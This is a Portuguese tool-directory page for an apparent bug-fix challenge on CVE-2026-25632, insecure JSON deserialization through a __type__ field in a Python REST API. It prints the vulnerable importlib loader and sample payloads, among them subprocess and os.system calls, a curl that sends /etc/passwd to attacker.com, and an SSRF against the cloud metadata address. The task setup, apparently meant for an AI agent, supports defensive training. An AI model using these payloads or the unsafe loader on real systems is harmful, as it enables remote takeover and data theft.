Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Corrige desserialização insegura de JSON que leva à execução remota de código | Kitploit
Ferramentas/GitHubGitHub/lazarus0x1337/cve-2026-25632
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança WebAprendizado e EducaçãoLabs e Prática
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Corrige desserialização insegura de JSON que leva à execução remota de código

Ver Repositório
13há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25632 — Desserialização de JSON com RCE na API REST (Desafio de Correção de Bug)

Inspirado por uma vulnerabilidade real de 2026 (CVSS 10.0, explorada ativamente)
Baseado em: CVE-2026-25632 — Execução Remota de Código via desserialização insegura de JSON orientada por __type__, descoberta na API REST de simulação de redes de água EPyT-Flow e divulgada publicamente no início de 2026.


Contexto

NovaSim é um framework de simulação baseado em Python que expõe uma API REST para controle remoto de experimentos científicos. Para suportar serialização flexível de objetos em ambientes de cliente heterogêneos, um desenvolvedor adicionou um carregador JSON personalizado que detecta um campo especial __type__ e importa e instancia dinamicamente a classe Python referenciada usando importlib.

Esse padrão foi divulgado como uma vulnerabilidade crítica de Execução Remota de Código (RCE) em um grande projeto de código aberto em 2026. Pesquisadores de segurança identificaram que um atacante que controla o corpo JSON pode construir uma cadeia de gadgets direcionada a qualquer chamável da biblioteca padrão do Python — incluindo subprocess.Popen, , e mais de 25 gadgets de SSRF — alcançando o comprometimento total do servidor com uma única requisição HTTP, .

os.system
eval
sem exigir autenticação

Sua Tarefa

Você recebe a versão vulnerável de src/solution.py, que contém exatamente o padrão inseguro de desserialização.

Seu objetivo: Corrigir a vulnerabilidade em DeserializationService.load_from_json() para que:

  1. Objetos de simulação legítimos e permitidos (allowlist) continuem sendo desserializados corretamente.
  2. Qualquer tentativa de carregar uma classe fora da allowlist lance uma SecurityError.
  3. O campo __type__ não permita mais importação arbitrária de módulos ou instanciação de classes.
  4. Todos os dados de simulação válidos (JSON sem __type__) continuem carregando normalmente.

Declaração Técnica do Problema

Padrão de Código Vulnerável (NÃO UTILIZE)

root@kitploit:~
# PERIGOSO — padrão CVE-2026-25632
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # controlado pelo atacante!
        cls = getattr(module, class_name)               # controlado pelo atacante!
        return cls(**data.get("args", {}))              # execução arbitrária de código!

Vetores de Ataque (a partir de pesquisa de segurança real)

Um atacante envia uma requisição POST com um corpo JSON manipulado:

Vetor 1 — RCE direta via subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Vetor 2 — RCE via os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Vetor 3 — SSRF via urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

Pesquisadores de segurança documentaram 12 gadgets diretos de RCE e 25 gadgets de SSRF alcançáveis dessa forma apenas por meio da biblioteca padrão do Python.


Tipos Permitidos (Allowlist)

Os seguintes — e somente os seguintes — tipos de objetos de simulação podem ser desserializados via __type__:

Valor de __type__Classe Python
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

Qualquer outro valor de __type__ DEVE lançar uma SecurityError imediatamente, antes de qualquer importação ou instanciação ocorrer.


Especificação de Entrada / Saída

Entrada

Objetos JSON submetidos a DeserializationService.load_from_json(raw: str) -> dict | SimObject

Saída

  • Se o JSON não tiver a chave __type__: retornar dict (JSON analisado).
  • Se o JSON tiver um __type__ permitido: retornar a instância do objeto de simulação correspondente.
  • Se o JSON tiver um __type__ não permitido: lançar SecurityError com a mensagem: "Blocked unsafe type: <type_value>".
  • Se o JSON for malformado: lançar ValueError com a mensagem: "Invalid JSON payload".

Casos Extremos / Regras de Tratamento de Erros

CenárioComportamento esperado
__type__ ausenteAnalisar e retornar como dict simples
__type__ = "simulation.Sensor"Instanciar Sensor(**args)
__type__ = "subprocess.Popen"Lançar SecurityError
__type__ = "os.system"Lançar SecurityError
__type__ = "__builtins__.eval"Lançar SecurityError
__type__ = "" (string vazia)Lançar SecurityError
__type__ = uma lista ou inteiroLançar SecurityError (campo de tipo inválido)
String JSON malformadaLançar ValueError
Campos extras desconhecidos em objeto válidoAceitos, passados como kwargs ao construtor

Arquivos

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- Você está aqui
├── Dockerfile                  <- Ambiente de build determinístico
├── src/
│   ├── solution.py             <- Código inicial COM BUG (seu alvo)
│   ├── solution_fixed.py       <- Solução de referência (oculta do agente)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Classes de modelo de simulação permitidas
└── tests/
    └── test_solution.py        <- Harness de testes (FALHA no código com bug, PASSA no corrigido)

Critérios de Verificação

A correção deve passar em TODOS os seguintes:

  • Todos os 4 testes padrão de desserialização (tipos permitidos, dict simples sem tipo)
  • Todos os 5 testes de bloqueio de vetores de ataque (subprocess, os, eval, urllib, builtins)
  • Todos os 3 testes de casos extremos (tipo vazio, tipo não-string, JSON malformado)
  • Nenhuma chamada de rede externa durante os testes
  • Determinístico entre execuções

Referências

  • NVD — CVE-2026-25632
  • Aviso CISA — Catálogo de Vulnerabilidades Exploradas Conhecidas
  • Pesquisa de Segurança: 79 Gadgets Descobertos — MazeHQ, 2026
  • CWE-502: Desserialização de Dados Não Confiáveis
Baixar ferramenta